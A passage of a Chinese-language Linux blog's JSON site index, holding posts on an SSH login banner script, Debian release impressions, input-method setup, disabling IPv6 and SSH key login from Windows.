with \\033[1;34m$(( cpun*cpuc ))\\033[0m core(s) at \\033[1;34m$(grep \u0026#39;^cpu MHz\u0026#39; /proc/cpuinfo | tail -1 | awk \u0026#39;{print $4}\u0026#39;)\\033 MHz\u0026#34; # mem MEM_INFO=\u0026#34;$(cat /proc/meminfo | awk \u0026#39;/MemTotal:/{total=$2/1024/1024;next} /MemAvailable:/{use=total-$2/1024/1024; printf(\u0026#34;\\033[0;33m%.2fGiB\\033[0m of \\033[1;34m%.2fGiB\\033[0m RAM used (\\033[0;33m%.2f%%\\033[0m)\u0026#34;,use,total,(use/total)*100);}\u0026#39;)\u0026#34; # network # extranet_ip=\u0026#34; and $(curl -s ip.cip.cc)\u0026#34; IP_INFO=\u0026#34;$(ip a | grep glo | awk \u0026#39;{print $2}\u0026#39; | head -1 | cut -f1 -d/)${extranet_ip:-}\u0026#34; # user login user=$(whoami) path=$(pwd) home=$HOME # * Calculate last login # info echo -e \u0026#34; Information as of: \\033[1;34m$(date +\u0026#34;%Y-%m-%d %T\u0026#34;)\\033[0m \\033[0;1;31mProduct\\033[0m............: ${MODEL_INFO} \\033[0;1;31mOS\\033[0m.................: ${PRETTY_NAME} \\033[0;1;31mKernel\\033[0m.............: ${KERNEL} \\033[0;1;31mCPU\\033[0m................: ${CPU_INFO} \\033[0;1;31mHostname\\033[0m...........: \\033[1;34m$(hostname)\\033[0m \\033[0;1;31mIP Addresses\\033[0m.......: \\033[1;34m${IP_INFO}\\033[0m \\033[0;1;31mUptime\\033[0m.............: \\033[0;33m${UPTIME_INFO}\\033[0m \\033[0;1;31mMemory\\033[0m.............: ${MEM_INFO} \\033[0;1;31mLoad Averages\\033[0m......: ${LOADAVG_INFO} \\033[0;1;31mDisk Usage\\033[0m.........: ${DISK_INFO} \\033[0;1;31mUsers online\\033[0m.......: \\033[1;34m${USER_NUM}\\033[0m \\033[0;1;31mRunning Processes\\033[0m..: \\033[1;34m${RUNNING}\\033[0m \\033[0;1;31mlastlog1\\033[0m...........: $(last -i -d -n 1 -w | head -1) \\033[0;1;31mlastlog2\\033[0m...........: $(last -i -d -n 2 -w | head -2 | tail -1) \\033[0;1;31mlastlog3\\033[0m...........: $(last -i -d -n 3 -w | head -3 | tail -1) \\033[0;1;31mlastlog4\\033[0m...........: $(last -i -d -n 4 -w | head -4 |tail -1) \\033[0;1;31mlogincount\\033[0m.........: $( users | wc -w) \u0026#34; zsh 設定在 ~/.zshrc 文件的一開始\nASCII art # 轉置工具: https://ascii-generator.site/t/ 圖片: https://www.asciiart.eu ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/031-ssh%E7%99%BB%E5%85%A5%E4%BF%A1%E6%81%AF-ssh-login-banner/","section":"Posts","summary":"我的Linux生活日記 31.ssh登入信息-ssh login banner # 範本 # /etc/profile.d/ssh-login-info.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 #!/bin/sh # # @Time : 2023-09-14 # @Author : PolloChang # @Desc : ssh login banner export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin shopt -q login_shell \u0026\u0026 : || return 0 # os upSeconds=\"$(cut -d. -f1 /proc/uptime)\" secs=$((${upSeconds}%60)) mins=$((${upSeconds}/60%60)) hours=$((${upSeconds}/3600%24)) days=$((${upSeconds}/86400)) UPTIME_INFO=$(printf \"%d days, %02dh %02dm %02ds\" \"$days\" \"$hours\" \"$mins\" \"$secs\") if [ -f /etc/oracle-release ] ; then PRETTY_NAME=$(\u003c /etc/oracle-release) elif [ -f /etc/oracle-release ] ; then PRETTY_NAME=$(\u003c /etc/redhat-release) elif [ -f /etc/debian_version ]; then DIST_VER=$(\u003c/etc/debian_version) PRETTY_NAME=\"$(grep PRETTY_NAME /etc/os-release | sed -e 's/PRETTY_NAME=//g' -e 's/\"//g') ($DIST_VER)\" else PRETTY_NAME=$(cat /etc/*-release | grep \"PRETTY_NAME\" | sed -e 's/PRETTY_NAME=//g' -e 's/\"//g') fi if [[ -d \"/system/app/\" \u0026\u0026 -d \"/system/priv-app\" ]]; then model=\"$(getprop ro.product.brand) $(getprop ro.product.model)\" elif [[ -f /sys/devices/virtual/dmi/id/product_name || -f /sys/devices/virtual/dmi/id/product_version ]]; then model=\"$(\u003c /sys/devices/virtual/dmi/id/product_name)\" model+=\" $(\u003c /sys/devices/virtual/dmi/id/product_version)\" elif [[ -f /sys/firmware/devicetree/base/model ]]; then model=\"$(\u003c /sys/firmware/devicetree/base/model)\" elif [[ -f /tmp/sysinfo/model ]]; then model=\"$(\u003c /tmp/sysinfo/model)\" fi MODEL_INFO=${model} KERNEL=$(uname -srmo) USER_NUM=$(who -u | wc -l) RUNNING=$(ps ax | wc -l | tr -d \" \") # disk totaldisk=$(df -h -x devtmpfs -x tmpfs -x debugfs -x aufs -x overlay --total 2\u003e/dev/null | tail -1) disktotal=$(awk '{print $2}' \u003c\u003c\u003c \"${totaldisk}\") diskused=$(awk '{print $3}' \u003c\u003c\u003c \"${totaldisk}\") diskusedper=$(awk '{print $5}' \u003c\u003c\u003c \"${totaldisk}\") DISK_INFO=\"\\033[0;33m${diskused}\\033[0m of \\033[1;34m${disktotal}\\033[0m disk space used (\\033[0;33m${diskusedper}\\033[0m)\" # cpu cpu=$(awk -F':' '/^model name/ {print $2}' /proc/cpuinfo | uniq | sed -e 's/^[ \\t]*//') cpun=$(grep -c '^processor' /proc/cpuinfo) cpuc=$(grep '^cpu cores' /proc/cpuinfo | tail -1 | awk '{print $4}') cpup=$(grep '^physical id' /proc/cpuinfo | wc -l) CPU_INFO=\"${cpu} ${cpup}P ${cpuc}C ${cpun}L\" # get the load averages read one five fifteen rest \u003c /proc/loadavg LOADAVG_INFO=\"\\033[0;33m${one}\\033[0m / ${five} / ${fifteen} with \\033[1;34m$(( cpun*cpuc ))\\033[0m core(s) at \\033[1;34m$(grep '^cpu MHz' /proc/cpuinfo | tail -1 | awk '{print $4}')\\033 MHz\" # mem MEM_INFO=\"$(cat /proc/meminfo | awk '/MemTotal:/{total=$2/1024/1024;next} /MemAvailable:/{use=total-$2/1024/1024; printf(\"\\033[0;33m%.2fGiB\\033[0m of \\033[1;34m%.2fGiB\\033[0m RAM used (\\033[0;33m%.2f%%\\033[0m)\",use,total,(use/total)*100);}')\" # network # extranet_ip=\" and $(curl -s ip.cip.cc)\" IP_INFO=\"$(ip a | grep glo | awk '{print $2}' | head -1 | cut -f1 -d/)${extranet_ip:-}\" # user login user=$(whoami) path=$(pwd) home=$HOME # * Calculate last login # info echo -e \" Information as of: \\033[1;34m$(date +\"%Y-%m-%d %T\")\\033[0m \\033[0;1;31mProduct\\033[0m............: ${MODEL_INFO} \\033[0;1;31mOS\\033[0m.................: ${PRETTY_NAME} \\033[0;1;31mKernel\\033[0m.............: ${KERNEL} \\033[0;1;31mCPU\\033[0m................: ${CPU_INFO} \\033[0;1;31mHostname\\033[0m...........: \\033[1;34m$(hostname)\\033[0m \\033[0;1;31mIP Addresses\\033[0m.......: \\033[1;34m${IP_INFO}\\033[0m \\033[0;1;31mUptime\\033[0m.............: \\033[0;33m${UPTIME_INFO}\\033[0m \\033[0;1;31mMemory\\033[0m.............: ${MEM_INFO} \\033[0;1;31mLoad Averages\\033[0m......: ${LOADAVG_INFO} \\033[0;1;31mDisk Usage\\033[0m.........: ${DISK_INFO} \\033[0;1;31mUsers online\\033[0m.......: \\033[1;34m${USER_NUM}\\033[0m \\033[0;1;31mRunning Processes\\033[0m..: \\033[1;34m${RUNNING}\\033[0m \\033[0;1;31mlastlog1\\033[0m...........: $(last -i -d -n 1 -w | head -1) \\033[0;1;31mlastlog2\\033[0m...........: $(last -i -d -n 2 -w | head -2 | tail -1) \\033[0;1;31mlastlog3\\033[0m...........: $(last -i -d -n 3 -w | head -3 | tail -1) \\033[0;1;31mlastlog4\\033[0m...........: $(last -i -d -n 4 -w | head -4 |tail -1) \\033[0;1;31mlogincount\\033[0m.........: $( users | wc -w) \" zsh 設定在 ~/.zshrc 文件的一開始\n","title":"我的Linux生活日記 31.ssh登入信息-ssh login banner","type":"post"},{"content":" 我的Linux生活日記 Debian 使用心得-2022.04 # tags: 我的linux日常生活 Debian # 當初會接觸Debian 這個作業系統是因為我想找一個穩定的發行板，也確實Debian 相比Ubuntu 穩定很多，很少在更新作業系統後出現問題。\n踏入Debian 初期，常常發現有驅動軟體安裝不了，例如：intel wifi 、nVidia 顯卡驅動程式等等。後來才發現是這個自由社群的政策，同時也漸漸理解何謂是 free、none-free。但對於一個一個平凡的使用者來說，可以順順的用就好了，\n後來也有嘗試使用test版本。Test 版本也算穩定，我自己是在筆記型電腦安裝 bookworm 測試版本。在某次的更新過後，出現了藍芽無法啟用、新酷音輸入法無法輸入注音，對於把筆電當作生產力工具的我是無法忍受的事情，最後只能安裝Debian buster。\n下列是 Debian buster 、Debian bullseye 、Debian bookworm 一點心得\nDebian buster # 這個版本我覺的是三個中，最穩定的版本。穩定其實也是預設的軟體相對比較舊所換來的。如果要使用比較新穎的功能就無法。\n目前，這個版本比較適合安裝在我自己的生產力筆記型電腦中，因為這三者中是最穩定的。\nDebian bullseye # 目前我自己的工作主機是使用這個版本，會挑這個版本原因是我有買較新的硬體設備(2011.02自己組的主機)，在這個版本自帶的驅動程式比 buster 相較穩定。\nDebian bookworm # 在我的筆記型電腦有一段時間是安裝這個版本。會挑選這個主因是看上 Gnome 40 自帶的觸控版操做模式，但是目前正在測試階段，在某次更新後藍芽、注音輸入法接無法操作後就安裝回 buster 版本。\n但不得不說這個版本在筆電上有很好的電耗比，我曾經在電池滿格狀況下忘記關機，待機一天也只掉50%，而在 buster 卻掉了80%。\n等到 bookworm 轉為 stable 時，我會想升級到這個版本。\n以上是我使用 Debian 一點小小心得。繼續加班 m)\u0026hellip;QAQ\u0026hellip;(m\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/005-debian_%E4%BD%BF%E7%94%A8%E5%BF%83%E5%BE%97/","section":"Posts","summary":"我的Linux生活日記 Debian 使用心得-2022.04 # tags: 我的linux日常生活 Debian # 當初會接觸Debian 這個作業系統是因為我想找一個穩定的發行板，也確實Debian 相比Ubuntu 穩定很多，很少在更新作業系統後出現問題。\n","title":"我的Linux生活日記 Debian 使用心得-2022.04","type":"post"},{"content":" 筆記型電腦 調整 # 筆記型電腦插入滑鼠裝置自動關閉滑鼠板 Gnome # 1 gsettings set org.gnome.desktop.peripherals.touchpad send-events disabled-on-external-mouse 我發現在 Debian 10 (Gnome3.30.2) 不會正常作用 電源管理 tlp # 1 2 3 4 sudo apt install tlp tlp-rdw sudo tlp start sudo tlp-stat -s sudo systemctl enable tlp 參考資料 # GNOME: How To Disable The Touchpad When A Mouse Is Plugged In And While Typing\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-gmone-%E7%9B%B8%E9%97%9C/","section":"Posts","summary":"筆記型電腦 調整 # 筆記型電腦插入滑鼠裝置自動關閉滑鼠板 Gnome # 1 gsettings set org.gnome.desktop.peripherals.touchpad send-events disabled-on-external-mouse 我發現在 Debian 10 (Gnome3.30.2) 不會正常作用 電源管理 tlp # 1 2 3 4 sudo apt install tlp tlp-rdw sudo tlp start sudo tlp-stat -s sudo systemctl enable tlp 參考資料 # GNOME: How To Disable The Touchpad When A Mouse Is Plugged In And While Typing\n","title":"筆記型電腦安裝 Debian 調整","type":"post"},{"content":" 設定中文輸入法 # 在windows時我習慣是使用微軟新注音輸入法，轉到Linux 的替代方案是新酷音。以下是我安裝新酷音的步驟。\n至於輸入法框架，因為是使用 Gnome 桌面系統，在試過 fcitx 與 ibus 之後，最後是 ibus 比較能再大多數軟體上正常運作。fcitx 在有些時候會出現閃退或無法輸入中文字的狀況，至於是什麼原因就沒有仔細探究。\n設定中文語系 # 1 sudo apt install locales-all 1 sudo dpkg-reconfigure locales 選擇語系編碼 選擇主要語系 這邊我習慣選擇 en_US.UTF8，讓系統介面顯示英文為主。\n選擇完之後系統就會自動開始設定。 1 2 3 4 5 6 7 ❯ sudo dpkg-reconfigure locales Generating locales (this might take a while)... en_US.UTF-8... done zh_TW.BIG5... done zh_TW.EUC-TW... done zh_TW.UTF-8... done Generation complete. 安裝新酷音 # 1 sudo apt install ibus-chewing chewing-editor 新酷音字詞編輯工具 # 1 sudo apt install chewing-editor liber-office 中文介面 # 1 sudo apt install libreoffice-l10n-zh-tw 下載新酷音詞庫 # 這邊我直接分享給大家我的檔案吧，這是我平時會使用的詞彙。\n匯入新酷音詞庫 # 開啟剛剛安裝的 chewing-editor 按下匯入就可以了。\n參考資料 # Ubuntu 20.04 iBus 酷音輸入法編輯使用者詞彙\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E8%BC%B8%E5%85%A5%E6%B3%95%E7%9B%B8%E9%97%9C/","section":"Posts","summary":"設定中文輸入法 # 在windows時我習慣是使用微軟新注音輸入法，轉到Linux 的替代方案是新酷音。以下是我安裝新酷音的步驟。\n","title":"輸入法相關","type":"post"},{"content":" 設定文件: /etc/sysctl.conf 1 2 3 net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1 net.ipv6.conf.lo.disable_ipv6 = 1 讓設定生效\n1 sudo sysctl -p 檢驗\n1 ip a | grep inet6 參考資料 # 關閉 Ubuntu 的 Ipv6 ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E9%97%9C%E9%96%89ipv6/","section":"Posts","summary":" 設定文件: /etc/sysctl.conf 1 2 3 net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1 net.ipv6.conf.lo.disable_ipv6 = 1 讓設定生效\n1 sudo sysctl -p 檢驗\n1 ip a | grep inet6 參考資料 # 關閉 Ubuntu 的 Ipv6 ","title":"關閉IPv6","type":"post"},{"content":"","date":"November 15, 2023","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"先產生 ssh 金鑰\n1 ssh-keygen 將公鑰上傳到目標主機\n1 type $env:USERPROFILE\\.ssh\\id_rsa.pub | ssh {account}@{IP-ADDRESS-OR-FQDN} \u0026#34;cat \u0026gt;\u0026gt; .ssh/authorized_keys\u0026#34; ","date":"November 15, 2023","externalUrl":null,"permalink":"/worknot/windows-ssh-key-login/","section":"Worknots","summary":"先產生 ssh 金鑰\n1 ssh-keygen 將公鑰上傳到目標主機\n1 type $env:USERPROFILE\\.ssh\\id_rsa.pub | ssh {account}@{IP-ADDRESS-OR-FQDN} \"cat \u003e\u003e .ssh/authorized_keys\" ","title":"windows ssh key 登入 Linux","type":"worknot"},{"content":"2023 iThome 鐵人賽-來架個網站吧 系列\n","date":"September 14, 2023","externalUrl":null,"permalink":"/personal-zone/2023-09-14/","section":"Personal-Zones","summary":"2023 iThome 鐵人賽-來架個網站吧 系列\n","title":"個人網站開張","type":"personal-zone"},{"content":"","date":"September 1, 2023","externalUrl":null,"permalink":"/tags/markdown/","section":"Tags","summary":"","title":"Markdown","type":"tags"},{"content":" 為什麼要學 Markdown # 架設部落格 寫 wiki markdown 其實可以存放圖片的，如果你願意可以透過base64-image 工具\n圖片會是這樣\n這是原始文字\n1 data:image/png;base64,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